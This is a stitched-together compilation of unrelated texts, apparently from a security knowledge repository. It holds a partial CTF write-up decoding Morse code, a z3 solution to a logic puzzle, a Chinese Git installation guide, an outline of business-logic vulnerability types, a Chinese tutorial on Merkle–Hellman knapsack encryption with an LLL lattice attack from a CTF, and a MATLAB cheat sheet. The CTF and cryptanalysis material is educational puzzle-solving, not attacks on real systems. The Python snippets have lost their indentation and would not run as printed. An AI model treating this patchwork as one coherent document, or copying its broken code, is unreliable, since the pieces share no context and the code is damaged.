Notice that we transformed the pattern as received by the agent to a regex pattern by replacing `'.'` (morse dot) with `'\.'` (regex escaped literal dot) and `'x'` (morse "match-all") to `'.'` (regex match-all).
Running the script, we get:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Moses]
└─$ python3 solve.py
[*] Searching for pattern: 'x.xx...x.xxx..-xx-.xxxx.-.-xxx.-.x..x.xxxx..x.xxx.-.-.xx-.-xxx..-.xx.x.x.--x.xxx'
[*] Found 1 matches
[*] Match #1: '...-...-...-..----......-.---..-.-.....---.....--.-.-..--.----..-......-.---.-..' at index 651773
```
Now we need to somehow align this result to the version we have with spaces, so that we can correctly decode the morse.
We do that by iterating the version that has spacing, but counting only dots and dashes, until we arrive to `651773`. Using the same method we also calculate the end offset of the match:
```python
index = 0
num_chars = 0
no_spaces_range = [match.start(), match.end()]
with_spaces_range = [0, 0]
for i in range(len(with_spaces_range)):
while num_chars < no_spaces_range[i]:
char = book_morse[index]
if char in ['.', '-']:
num_chars += 1
index += 1
with_spaces_range[i] = index
match_with_spaces = book_morse[with_spaces_range[0]:with_spaces_range[1]]
print(f"[*] Match with spaces: '{match_with_spaces}'")
```
Now we just need to decode from morse back to English and format according to the instructions:
```python
decoded = from_morse_code(match_with_spaces)
print(f"[*] Decoded: '{decoded}'")
print(f"[*] Flag: 'CSA{{{decoded.strip().replace(' ', '_').lower()}}}'")
```
The output:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Moses]
└─$ python3 solve.py
[*] Searching for pattern: 'x.xx...x.xxx..-xx-.xxxx.-.-xxx.-.x..x.xxxx..x.xxx.-.-.xx-.-xxx..-.xx.x.x.--x.xxx'
[*] Found 1 matches
[*] Match #1: '...-...-...-..----......-.---..-.-.....---.....--.-.-..--.----..-......-.---.-..' at index 651773
[*] Match with spaces: ' / ... - .. .-.. .-.. / --- - .... . .-. / --- ..-. / - .... . -- / - .... .- - / .- .-. . / --. --- -. . / -... . ..-. --- .-. .'
[*] Decoded: ' STILL OTHER OF THEM THAT ARE GONE BEFORE'
[*] Flag: 'CSA{still_other_of_them_that_are_gone_before}'
```
|
sec-knowleage
|
# Dinner Party
Category: Logic, 20 Points
## Description
> Five women sat in a row at the dinner table. Each had got there in a different way, each was eating a different kind of food, each had brought with her a different object and each had left at home a different pet.
>
> How were the women arranged, and which woman owned what object?
>
> Invoke submit.py with your solution to obtain the flag. The solution should consist of "woman object" pairs (without quotes, case sensitive), in order of seating from left to right.
>
> For example:
>
> submit.py Lovelace telescope Germain abacus Franklin laptop Curie pencil Noether scales
>
> IMPORTANT: Give the program a minute or two to produce the flag for you.
>
> Good Luck!
The following puzzle description was attached:
```
Five women sat in a row at the dinner table. Each had got there in a different way, each was eating a different kind of food, each had brought with her a different object and each had left at home a different pet.
Noether had many difficulties during the journey there by foot; Germain, who was at the far left, heard the woman sitting next to her telling tales of her journey by boat. The woman who had got there by train sat left of someone who had got there by plane; the woman eating burger mentioned that getting there was her first time traveling by train. The woman who had got there by bus mentioned how she had left her pet rabbit at home. One of the ladies opened her bag and took out her laptop; the woman next to her recalled how she used to have one of those too, but then her pet rabbit chewed it and spat it out completely useless.
So Lovelace reached for her pocket and pulled out the pencil she had brought with her, at which the woman who owned a dog wondered whether it was more useful for her research than the scales that she herself owned. One of the ladies waved her abacus close to her neighbor's face; the neighbor, who owned a cat, retaliated by flipping over her assailant's soup.
Franklin tried to ignore the noise and just eat her salad in peace. The woman who owned a fish was unhappily eating her cake, envying the chicken plate enjoyed by the guest at the center seat. When all was said and done, Curie had learned a lot from her colleagues but was happy to go home to her pet fish.
It was only two weeks later that one of the guests realized that she had forgotten her telescope there.
How were the women arranged, and which woman owned what object? Invoke submit.py with your solution to obtain the flag. The solution should consist of "woman object" pairs (without quotes, case sensitive), in order of seating from left to right. For example:
submit.py Lovelace telescope Germain abacus Franklin laptop Curie pencil Noether scales
IMPORTANT: Give the program a minute or two to produce the flag for you (or chastise you for providing the wrong solution).
```
In addition, `flag.txt.enc` and `submit.py` were attached.
## Solution
Let's use `z3` to solve this.
First, we start by creating Z3 objects for all possible objects in the puzzle:
```python
Name, name_consts = EnumSort("Name",
["Germain", "Franklin", "Lovelace", "Curie", "Noether"])
germain, franklin, lovelace, curie, noether = name_consts
Arrival, arrival_consts = EnumSort("Arrival",
["Boat", "Train", "Plane", "Foot", "Bus"])
boat, train, plane, foot, bus = arrival_consts
Food, food_consts = EnumSort("Food",
["Burger", "Soup", "Salad", "Cake", "Chicken"])
burger, soup, salad, cake, chicken = food_consts
Object, object_consts = EnumSort("Object",
["Laptop", "Pencil", "Scales", "Abacus", "Telescope"])
laptop, pencil, scales, abacus, telescope = object_consts
Pet, pet_consts = EnumSort("Pet",
["Rabbit", "Dog", "Cat", "Fish", "Dont_know"])
rabbit, dog, cat, fish, dont_know = pet_consts
```
We create functions to be able to refer to the objects:
```python
location = Function("location", Name, IntSort())
arrival = Function("arrival", Name, Arrival)
food = Function("food", Name, Food)
obj = Function("obj", Name, Object)
pet = Function("pet", Name, Pet)
```
Now we start applying the constraints in the description:
```python
# Five women sat in a row at the dinner table.
# Each had got there in a different way, each was eating a different kind of food, each had brought with her a different object and each had left at home a different pet.
constraints.append(Distinct([obj(name) for name in name_consts]))
constraints.append(Distinct([food(name) for name in name_consts]))
constraints.append(Distinct([arrival(name) for name in name_consts]))
constraints.append(Distinct([location(name) for name in name_consts]))
constraints.append(Distinct([pet(name) for name in name_consts]))
for name in name_consts:
constraints.append(Or([location(name) == x for x in range(len(name_consts))]))
constraints.append(Or([arrival(name) == x for x in arrival_consts]))
constraints.append(Or([food(name) == x for x in food_consts]))
constraints.append(Or([obj(name) == x for x in object_consts]))
constraints.append(Or([pet(name) == x for x in pet_consts]))
# Noether had many difficulties during the journey there by foot;
constraints.append(arrival(noether) == foot)
# Germain, who was at the far left, heard the woman sitting next to her telling tales of her journey by boat.
constraints.append(location(germain) == 0)
name_clue1 = Const("name_clue1", Name)
constraints.append(location(name_clue1) == 1)
constraints.append(arrival(name_clue1) == boat)
# The woman who had got there by train sat left of someone who had got there by plane;
name_clue2 = Const("name_clue2", Name)
name_clue3 = Const("name_clue3", Name)
constraints.append(arrival(name_clue2) == train)
constraints.append(arrival(name_clue3) == plane)
constraints.append(location(name_clue2) < location(name_clue3))
# the woman eating burger mentioned that getting there was her first time traveling by train
name_clue4 = Const("name_clue4", Name)
constraints.append(arrival(name_clue4) == train)
constraints.append(food(name_clue4) == burger)
# The woman who had got there by bus mentioned how she had left her pet rabbit at home
name_clue5 = Const("name_clue5", Name)
constraints.append(arrival(name_clue5) == bus)
constraints.append(pet(name_clue5) == rabbit)
# One of the ladies opened her bag and took out her laptop;
# the woman next to her recalled how she used to have one of those too, but then her pet rabbit chewed it and spat it out completely useless.
name_clue6 = Const("name_clue6", Name)
name_clue7 = Const("name_clue7", Name)
constraints.append(pet(name_clue6) == rabbit)
constraints.append(obj(name_clue7) == laptop)
constraints.append(Or(location(name_clue6) == location(name_clue7) - 1, location(name_clue6) == location(name_clue7) + 1))
# So Lovelace reached for her pocket and pulled out the pencil she had brought with her,
# at which the woman who owned a dog wondered whether it was more useful for her research than the scales that she herself owned
constraints.append(obj(lovelace) == pencil)
name_clue8 = Const("name_clue8", Name)
constraints.append(pet(name_clue8) == dog)
constraints.append(obj(name_clue8) == scales)
# One of the ladies waved her abacus close to her neighbor's face; the neighbor, who owned a cat, retaliated by flipping over her assailant's soup.
name_clue9 = Const("name_clue9", Name)
constraints.append(obj(name_clue9) == abacus)
constraints.append(food(name_clue9) == soup)
name_clue10 = Const("name_clue10", Name)
name_clue11 = Const("name_clue11", Name)
constraints.append(obj(name_clue10) == abacus)
constraints.append(pet(name_clue11) == cat)
constraints.append(Or(location(name_clue10) == location(name_clue11) - 1, location(name_clue10) == location(name_clue11) + 1))
# Franklin tried to ignore the noise and just eat her salad in peace.
constraints.append(food(franklin) == salad)
# The woman who owned a fish was unhappily eating her cake, envying the chicken plate enjoyed by the guest at the center seat
name_clue12 = Const("name_clue12", Name)
constraints.append(pet(name_clue12) == fish)
constraints.append(food(name_clue12) == cake)
name_clue13 = Const("name_clue13", Name)
constraints.append(food(name_clue13) == chicken)
constraints.append(location(name_clue13) == 2)
# When all was said and done, Curie had learned a lot from her colleagues but was happy to go home to her pet fish.
constraints.append(pet(curie) == fish)
```
All that's left to do is wrap it all up:
```python
from z3 import *
solver = Solver()
constraints = []
### Insert constraints here ###
solver.add(constraints)
def print_model(m):
s = [None] * len(name_consts)
for name in name_consts:
object_name = str(m.eval(obj(name)))
s[m.eval(location(name)).as_long()] = "{} {}".format(name, object_name.lower())
print(" ".join(s))
while solver.check() == sat:
m = solver.model()
print_model(m)
expressions = []
for name in name_consts:
expressions.append(location(name) != m.eval(location(name)))
expressions.append(arrival(name) != m.eval(arrival(name)))
expressions.append(food(name) != m.eval(food(name)))
expressions.append(obj(name) != m.eval(obj(name)))
expressions.append(pet(name) != m.eval(pet(name)))
solver.add(Or(expressions))
```
We want to get all possible answers, so each time we get a model we add a constraint that the next answer should have something different.
Output:
```console
root@kali:/media/sf_CTFs/checkpoint/Dinner_Party# python3 solve.py
Germain abacus Franklin laptop Noether scales Lovelace pencil Curie telescope
Germain scales Curie laptop Lovelace pencil Noether abacus Franklin telescope
Germain scales Curie telescope Lovelace pencil Franklin laptop Noether abacus
Germain scales Curie laptop Lovelace pencil Franklin telescope Noether abacus
```
We should try all four answers. The accepted answer is:
```console
root@kali:/media/sf_CTFs/checkpoint/Dinner_Party/dinner_party# python3 submit.py Germain abacus Franklin laptop Noether scales Lovelace pencil Curie telescope
Congratulations!
Your flag is: CSA{70n19H7_We_d1Ne_1n_HELL}
```
|
sec-knowleage
|
## Git安装
### Linux
#### 在 Liunx 上安装 Git
首先,你可以试着输入`git`,看看系统有没有安装Git:
```
git
```
使用终端安装`git`
```
sudo apt-get update
sudo apt-get install git
```
**小贴士**:apt-get 是 ubuntu 系统( deepin 其实就是 ubuntu 的一个变种)的安装软件的命令。装软件的过程其实非常复杂,涉及到软件包依赖关系管理,这个领域的深入知识,应该是系统管理员( sys admin )去掌握,我们开发者没必要学那么深。
验证有没有装好,就敲
```
git --version
```
如果可以正确输出版本号,证明 Git 已经装好了。
### Windows
在Windows安装 Git 直接进入Git官网下载,打开`git bash`使用
Git下载地址:[点击进入](https://git-for-windows.github.io/)
### 在Mac上安装Git
直接从AppStore安装Xcode,Xcode集成了Git,不过默认没有安装,你需要运行Xcode,选择菜单“Xcode” -> “Preferences”,在弹出窗口中找到“Downloads”,选择`Command Line Tools`,点`Install`b就可以完成安装了。
|
sec-knowleage
|
# 背包加密
## 背包问题
首先,我们先来介绍一下背包问题,假定一个背包可以称重 W,现在有 n 个物品,其重量分别为 $a_1, a_2,...,a_n$ 我们想问一下装哪些物品可以恰好使得背包装满,并且每个物品只能被装一次。这其实就是在解这样的一个问题
$$
x_1a_1+x_2a_2+,...,+x_na_n=W
$$
其中所有的 $x_i$ 只能为 0 和 1。显然我们必须枚举所有的 n 个物品的组合才能解决这个问题,而复杂度也就是 $2^n$,这也就是背包加密的妙处所在。
在加密时,如果我们想要加密的明文为 x,那么我们可以将其表示为 n 位二进制数,然后分别乘上 $a_i$ 即可得到加密结果。
但是解密的时候,该怎么办呢?我们确实让其他人难以解密密文,但是我们自己也确实没有办法解密密文。
但是当 $a_i$ 是超递增的话,我们就有办法解了,所谓超递增是指序列满足如下条件
$$
a_i>\sum_{k=1}^{i-1}a_k
$$
即第 i 个数大于前面所有数的和。
为什么满足这样的条件就可以解密了呢?这是因为如果加密后的结果大于 $a_n$ 的话,其前面的系数为必须 1 的。反之,无论如何也无法使得等式成立。因此,我们可以立马得到对应的明文。
但是,这样又出现了一个问题,由于 $a_i$ 是公开的,如果攻击者截获了密文,那么它也就很容易去破解这样的密码。为了弥补这样的问题,就出现了 Merkle–Hellman 这样的加密算法,我们可以使用初始的背包集作为私钥,变换后的背包集作为公钥,再稍微改动加密过程,即可。
这里虽然说了超递增序列,但是却没有说是如何生成的。
## Merkle–Hellman
### 公私钥生成
#### 生成私钥
私钥就是我们的初始的背包集,这里我们使用超递增序列,怎么生成呢?我们可以假设 $a_1=1$,那么 $a_2$ 大于 1 即可,类似的可以依次生成后面的值。
#### 生成公钥
在生成公钥的过程中主要使用了模乘的运算。
首先,我们生成模乘的模数 m,这里要确保
$$
m>\sum_{i=1}^{i=n}a_i
$$
其次,我们选择模乘的乘数 w,作为私钥并且确保
$$
gcd(w,m)=1
$$
之后,我们便可以通过如下公式生成公钥
$$
b_i \equiv w a_i \bmod m
$$
并将这个新的背包集 $b_i$ 和 m 作为公钥。
### 加解密
#### 加密
假设我们要加密的明文为 v,其每一个比特位为 $v_i$,那么我们加密的结果为
$$
\sum_{i=1}^{i=n}b_iv_i \bmod m
$$
#### 解密
对于解密方,首先可以求的 w 关于 m 的逆元 $w^{-1}$。
然后我们可以将得到的密文乘以 $w^{-1}$ 即可得到明文,这是因为
$$
\sum_{i=1}^{i=n}w^{-1}b_iv_i \bmod m=\sum_{i=1}^{i=n}a_iv_i \bmod m
$$
这里有
$$
b_i \equiv w a_i \bmod m
$$
对于每一块的加密的消息都是小于 m 的,所以求得结果自然也就是明文了。
### 破解
该加密体制在提出后两年后该体制即被破译,破译的基本思想是我们不一定要找出正确的乘数 w(即陷门信息),只需找出任意模数 `m′` 和乘数 `w′`,只要使用 `w′` 去乘公开的背包向量 B 时,能够产生超递增的背包向量即可。
### 例子
这里我们以 2014 年 ASIS Cyber Security Contest Quals 中的 Archaic 为例,[题目链接](https://github.com/ctfs/write-ups-2014/tree/b02bcbb2737907dd0aa39c5d4df1d1e270958f54/asis-ctf-quals-2014/archaic)。
首先查看源程序
```python
secret = 'CENSORED'
msg_bit = bin(int(secret.encode('hex'), 16))[2:]
```
首先得到了 secret 的所有二进制位。
其次,利用如下函数得到 keypair,包含公钥与私钥。
```python
keyPair = makeKey(len(msg_bit))
```
仔细分析 makekey 函数,如下
```python
def makeKey(n):
privKey = [random.randint(1, 4**n)]
s = privKey[0]
for i in range(1, n):
privKey.append(random.randint(s + 1, 4**(n + i)))
s += privKey[i]
q = random.randint(privKey[n-1] + 1, 2*privKey[n-1])
r = random.randint(1, q)
while gmpy2.gcd(r, q) != 1:
r = random.randint(1, q)
pubKey = [ r*w % q for w in privKey ]
return privKey, q, r, pubKey
```
可以看出 prikey 是一个超递增序列,并且得到的 q 比 prikey 中所有数的和还要大,此外我们得到的 r,恰好与 q 互素,这一切都表明了该加密是一个背包加密。
果然加密函数就是对于消息的每一位乘以对应的公钥并求和。
```python
def encrypt(msg, pubKey):
msg_bit = msg
n = len(pubKey)
cipher = 0
i = 0
for bit in msg_bit:
cipher += int(bit)*pubKey[i]
i += 1
return bin(cipher)[2:]
```
对于破解的脚本我们直接使用 [GitHub](https://github.com/ctfs/write-ups-2014/tree/b02bcbb2737907dd0aa39c5d4df1d1e270958f54/asis-ctf-quals-2014/archaic) 上的脚本。进行一些简单的修改。
```python
import binascii
# open the public key and strip the spaces so we have a decent array
fileKey = open("pub.Key", 'rb')
pubKey = fileKey.read().replace(' ', '').replace('L', '').strip('[]').split(',')
nbit = len(pubKey)
# open the encoded message
fileEnc = open("enc.txt", 'rb')
encoded = fileEnc.read().replace('L', '')
print "start"
# create a large matrix of 0's (dimensions are public key length +1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
# fill in the identity matrix
for i in xrange(nbit):
A[i, i] = 1
# replace the bottom row with your public key
for i in xrange(nbit):
A[i, nbit] = pubKey[i]
# last element is the encoded message
A[nbit, nbit] = -int(encoded)
res = A.LLL()
for i in range(0, nbit + 1):
# print solution
M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag:
print i, M
M = ''.join(str(j) for j in M)
# remove the last bit
M = M[:-1]
M = hex(int(M, 2))[2:-1]
print M
```
输出之后再解码下
```python
295 [1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0]
415349535f3962643364356664323432323638326331393536383830366130373036316365
>>> import binascii
>>> binascii.unhexlify('415349535f3962643364356664323432323638326331393536383830366130373036316365')
'ASIS_9bd3d5fd2422682c19568806a07061ce'
```
需要注意的是,我们得到的 LLL 攻击得到的矩阵 res 的只包含 01 值的行才是我们想要的结果,因为我们对于明文加密时,会将其分解为二进制比特串。此外,我们还需要去掉对应哪一行的最后一个数字。
flag 是 `ASIS_9bd3d5fd2422682c19568806a07061ce`。
### 题目
- 2017 国赛 classic
|
sec-knowleage
|
# 业务安全漏洞挖掘

## 身份认证
## 业务一致性
## 数据篡改
## 用户输入合规性
## 密码找回类
## 验证突破
## 业务授权
## 业务流程乱序
## 业务接口调用
## 时效绕过
|
sec-knowleage
|
---
title: MATLAB
date: 2023-01-03 09:51:44
background: bg-[#692316]
tags:
categories:
- Programming
intro: |
This quick reference cheat sheet provides an example introduction to using the [MATLAB](https://mathworks.cn/) scientific computing language to get started quickly
plugins:
- copyCode
---
Getting Started
----
### Introduction
MATLAB is short for `matrix laboratory`
----
- [MATLAB official website](https://www.mathworks.com)
### Matrix and array operations {.row-span-3}
MATLAB allows you to use a single arithmetic operator or function to manipulate all values in a matrix
```matlab
a + 10
```
MATLAB will execute the above statement and return the following results:
```
ans = 3×3
11 13 15
12 14 16
17 18 20
```
----
```matlab
sin(a)
```
MATLAB will execute the above statement and return the following results:
```
ans = 3×3
0.8415 0.1411 -0.9589
0.9093 -0.7568 -0.2794
0.6570 0.9894 -0.5440
```
To transpose a matrix, use single quotes (`'`)
```matlab
a'
```
----
```
ans = 3×3
1 2 7
3 4 8
5 6 10
```
Perform standard matrix multiplication using the `*` operator, which computes the inner product between rows and columns
```matlab
p = a*inv(a)
```
----
```
p = 3×3
1.0000 0 0
0 1.0000 0
0 0 1.0000
```
### concatenation {.row-span-2}
Concatenation is the process of joining arrays to form larger arrays. In fact, the first array is formed by concatenating its elements. Pairs of square brackets `[]` are concatenation operators.
```matlab
A = [a,a]
```
----
```
A = 3×6
1 3 5 1 3 5
2 4 6 2 4 6
7 8 10 7 8 10
```
Concatenating arrays next to each other using commas is called horizontal concatenation. Each array must have the same number of rows. Likewise, semicolons can be used for vertical concatenation if the arrays have the same number of columns.
```matlab
A = [a; a]
```
----
```
A = 6×3
1 3 5
2 4 6
7 8 10
1 3 5
2 4 6
7 8 10
```
### Matrices and arrays{.row-span-3}
To create an array with four elements per row, separate elements with commas (`,`) or spaces
```matlab
a = [1 2 3 4]
```
MATLAB will execute the above statement and return the following results:
```
a = 1×4
1 2 3 4
```
#### Create a matrix with multiple rows
```matlab
a = [1 3 5; 2 4 6; 7 8 10]
```
----
```
a = 3×3
1 3 5
2 4 6
7 8 10
```
#### 5×1 column vector of zeros
```matlab
z = zeros(5,1)
```
----
```
z = 5×1
0
0
0
0
0
```
### Complex number
A complex number has a real part and an imaginary part, and the imaginary unit is the square root of -1.
```matlab
sqrt(-1)
```
----
```
ans = 0.0000 + 1.0000i
```
To represent the imaginary part of a complex number, use i or j.
```matlab
c = [3+4i, 4+3j; -i, 10j]
```
----
```
c = 2×2 complex
3.0000 + 4.0000i 4.0000 + 3.0000i
0.0000 - 1.0000i 0.0000 +10.0000i
```
Basic knowledge
----
### Input the command
- | - | -
- | - | -
[ans](https://www.mathworks.com/help/matlab/ref/ans.html) | Most recently calculated answer
[clc](https://www.mathworks.com/help/matlab/ref/clc.html) | Clear the command line window
[diary](https://www.mathworks.com/help/matlab/ref/diary.html) | Record the text of the command line window into the log file
[format](https://www.mathworks.com/help/matlab/ref/format.html) | Set the output display format
[home](https://www.mathworks.com/help/matlab/ref/home.html) | Send cursor reset
[iskeyword](https://www.mathworks.com/help/matlab/ref/iskeyword.html) | Determine if the input is a <span class="trademark">MATLAB</span> keyword
[more](https://www.mathworks.com/help/matlab/ref/more.html) | Control paging output in the command line window
[commandwindow](https://www.mathworks.com/help/matlab/ref/commandwindow.html) | Select command window
[commandhistory](https://www.mathworks.com/help/matlab/ref/commandhistory.html) | Open command history window
#### Objects
- | -
- | -
[DisplayFormatOptions](https://www.mathworks.com/help/matlab/ref/ans.html) | Output display format in the command line window
### Matrices and Arrays {.row-span-5}
Create and combine arrays
- | - | -
- | - | -
[zeros](https://www.mathworks.com/help/matlab/ref/zeros.html) | Create an array of all zeros
[ones](https://www.mathworks.com/help/matlab/ref/ones.html) | Create an array of all 1s
[rand](https://www.mathworks.com/help/matlab/ref/rand.html) | Uniformly distributed random numbers
[true](https://www.mathworks.com/help/matlab/ref/true.html) | Logical value 1 (true)
[false](https://www.mathworks.com/help/matlab/ref/false.html) | logical 0 (false)
[eye](https://www.mathworks.com/help/matlab/ref/eye.html) | identity matrix
[diag](https://www.mathworks.com/help/matlab/ref/diag.html) | Create a diagonal matrix or get the diagonal elements of a matrix
[blkdiag](https://www.mathworks.com/help/matlab/ref/blkdiag.html) | block diagonal matrix
[cat](https://www.mathworks.com/help/matlab/ref/double.cat.html) | Concatenate arrays.
[horzcat](https://www.mathworks.com/help/matlab/ref/horzcat.html) | Concatenate arrays horizontally
[vertcat](https://www.mathworks.com/help/matlab/ref/vertcat.html) | Concatenate arrays vertically
[repelem](https://www.mathworks.com/help/matlab/ref/repelem.html) | Repeat array element copy
[repmat](https://www.mathworks.com/help/matlab/ref/repmat.html) | Repeat array copy
create grid
- | - | -
- | - | -
[linspace](https://www.mathworks.com/help/matlab/ref/linspace.html) | Generate linearly spaced vectors
[logspace](https://www.mathworks.com/help/matlab/ref/logspace.html) | Generate logarithmic spaced vectors
[freqspace](https://www.mathworks.com/help/matlab/ref/freqspace.html) | frequency spacing of frequency response
[meshgrid](https://www.mathworks.com/help/matlab/ref/meshgrid.html) | 2D and 3D grids
[ndgrid](https://www.mathworks.com/help/matlab/ref/ndgrid.html) | Rectangular grid in N-dimensional space
Determine size, shape and order
- | - | -
- | - | -
[length](https://www.mathworks.com/help/matlab/ref/length.html) | The length of the largest array dimension
[size](https://www.mathworks.com/help/matlab/ref/size.html) | array size
[ndims](https://www.mathworks.com/help/matlab/ref/double.ndims.html) | Number of dimensions of the array
[numel](https://www.mathworks.com/help/matlab/ref/double.numel.html) | the number of array elements
[isscalar](https://www.mathworks.com/help/matlab/ref/isscalar.html) | Determine whether the input is a scalar
[issorted](https://www.mathworks.com/help/matlab/ref/issorted.html) | Determine if the array is sorted
[issortedrows](https://www.mathworks.com/help/matlab/ref/issortedrows.html) | Determine whether the rows of a matrix or table are sorted
[isvector](https://www.mathworks.com/help/matlab/ref/isvector.html) | Determine whether the input is a vector
[ismatrix](https://www.mathworks.com/help/matlab/ref/ismatrix.html) | Determine whether the input is a matrix
[isrow](https://www.mathworks.com/help/matlab/ref/isrow.html) | Determine whether the input is a row vector
[iscolumn](https://www.mathworks.com/help/matlab/ref/iscolumn.html) | Determine whether the input is a column vector
[isempty](https://www.mathworks.com/help/matlab/ref/isempty.html) | Determine whether the array is empty
Refactor and rearrange
- | - | -
- | - | -
[sort](https://www.mathworks.com/help/matlab/ref/sort.html) | Sort array elements
[sortrows](https://www.mathworks.com/help/matlab/ref/double.sortrows.html) | Sort matrix rows or table rows
[flip](https://www.mathworks.com/help/matlab/ref/flip.html) | Flip the order of elements
[fliplr](https://www.mathworks.com/help/matlab/ref/fliplr.html) | Flip the array from left to right
[flipud](https://www.mathworks.com/help/matlab/ref/flipud.html) | Flip the array from top to bottom
[rot90](https://www.mathworks.com/help/matlab/ref/rot90.html) | Rotate an array by 90 degrees
[transpose](https://www.mathworks.com/help/matlab/ref/transpose.html) | Transpose a vector or matrix
[ctranspose](https://www.mathworks.com/help/matlab/ref/ctranspose.html) | complex conjugate transpose
[permute](https://www.mathworks.com/help/matlab/ref/permute.html) | permute array dimension
[ipermute](https://www.mathworks.com/help/matlab/ref/ipermute.html) | Inverse permutation of array dimensions.
[circshift](https://www.mathworks.com/help/matlab/ref/circshift.html) | Circular shift array
[shiftdim](https://www.mathworks.com/help/matlab/ref/shiftdim.html) | shift array dimension
[reshape](https://www.mathworks.com/help/matlab/ref/reshape.html) | Reshape array
[squeeze](https://www.mathworks.com/help/matlab/ref/squeeze.html) | Remove dimensions of length 1
index
- | - | -
- | - | -
[colon](https://www.mathworks.com/help/matlab/ref/colon.html) | vector creation, array subscript and <code class="literal">for</code> loop iteration
[end](https://www.mathworks.com/help/matlab/ref/end.html) | Terminate a code block or indicate the maximum array index
[ind2sub](https://www.mathworks.com/help/matlab/ref/ind2sub.html) | Convert linear index to subscript
[sub2ind](https://www.mathworks.com/help/matlab/ref/sub2ind.html) | Convert subscript to linear index
### Value type {.row-span-2}
Create numeric variables
- | - | -
- | - | -
[double](https://www.mathworks.com/help/matlab/ref/double.html) | double precision array
[single](https://www.mathworks.com/help/matlab/ref/single.html) | single precision array
[int8](https://www.mathworks.com/help/matlab/ref/int8.html) | 8-bit signed integer array
[int16](https://www.mathworks.com/help/matlab/ref/int16.html) | 16-bit signed integer array
[int32](https://www.mathworks.com/help/matlab/ref/int32.html) | 32-bit signed integer array
[int64](https://www.mathworks.com/help/matlab/ref/int64.html) | 64-bit signed integer array
[uint8](https://www.mathworks.com/help/matlab/ref/uint8.html) | Array of 8-bit unsigned integers
[uint16](https://www.mathworks.com/help/matlab/ref/uint16.html) | 16-bit unsigned integer array
[uint32](https://www.mathworks.com/help/matlab/ref/uint32.html) | 32-bit unsigned integer array
[uint64](https://www.mathworks.com/help/matlab/ref/uint64.html) | 64-bit unsigned integer array
Convert between numeric types
- | - | -
- | - | -
[cast](https://www.mathworks.com/help/matlab/ref/cast.html) | Convert variables to different data types
[typecast](https://www.mathworks.com/help/matlab/ref/typecast.html) | Convert data types without changing the underlying data
query type and value
- | - | -
- | - | -
[allfinite](https://www.mathworks.com/help/matlab/ref/allfinite.html") | Determine if all array elements are finite
[anynan](https://www.mathworks.com/help/matlab/ref/anynan.html") | Determine if any array element is NaN
[isinteger](https://www.mathworks.com/help/matlab/ref/isinteger.html) | Determine whether the input is an integer array
[isfloat](https://www.mathworks.com/help/matlab/ref/isfloat.html) | Determine whether the input is a floating-point array
[isnumeric](https://www.mathworks.com/help/matlab/ref/isnumeric.html) | Determine whether the input is a numeric array
[isreal](https://www.mathworks.com/help/matlab/ref/isreal.html) | Determine whether the array uses complex storage
[isfinite](https://www.mathworks.com/help/matlab/ref/isfinite.html) | Determine which array elements are finite
[isinf](https://www.mathworks.com/help/matlab/ref/isinf.html) | Determine which array elements are infinite
[isnan](https://www.mathworks.com/help/matlab/ref/isnan.html) | Determine which array elements are NaN
Value range
- | - | -
- | - | -
[eps](https://www.mathworks.com/help/matlab/ref/eps.html) | Floating point relative precision
[flintmax](https://www.mathworks.com/help/matlab/ref/flintmax.html) | The largest consecutive integer in floating point format
[Inf](https://www.mathworks.com/help/matlab/ref/inf.html) | Create an array with all values `Inf`
[intmax](https://www.mathworks.com/help/matlab/ref/intmax.html) | The maximum value of a specific integer type
[intmin](https://www.mathworks.com/help/matlab/ref/intmin.html) | The minimum value of a specific integer type
[NaN](https://www.mathworks.com/help/matlab/ref/nan.html) | Create an array where all values are <code class="literal">NaN</code>
[realmax](https://www.mathworks.com/help/matlab/ref/realmax.html) | The largest positive floating point number
[realmin](https://www.mathworks.com/help/matlab/ref/realmin.html) | Minimum standard floating point number
### Loops and conditional statements
- | -
- | -
[if, elseif, else](https://www.mathworks.com/help/matlab/ref/if.html) | Execute statement when condition is true
[switch, case, otherwise](https://www.mathworks.com/help/matlab/ref/switch.html) | Execute one of multiple sets of statements
[for](https://www.mathworks.com/help/matlab/ref/for.html) | A `for` loop used to repeat a specified number of times
[while](https://www.mathworks.com/help/matlab/ref/while.html) | A `while` loop that executes repeatedly while a condition is true
[try, catch](https://www.mathworks.com/help/matlab/ref/try.html) | Execute the statement and catch the resulting error
[break](https://www.mathworks.com/help/matlab/ref/break.html) | Terminate execution of a for or while loop
[return](https://www.mathworks.com/help/matlab/ref/return.html) | Return control to the calling script or function
[continue](https://www.mathworks.com/help/matlab/ref/continue.html) | Passes control to the next iteration of a `for` or `while` loop
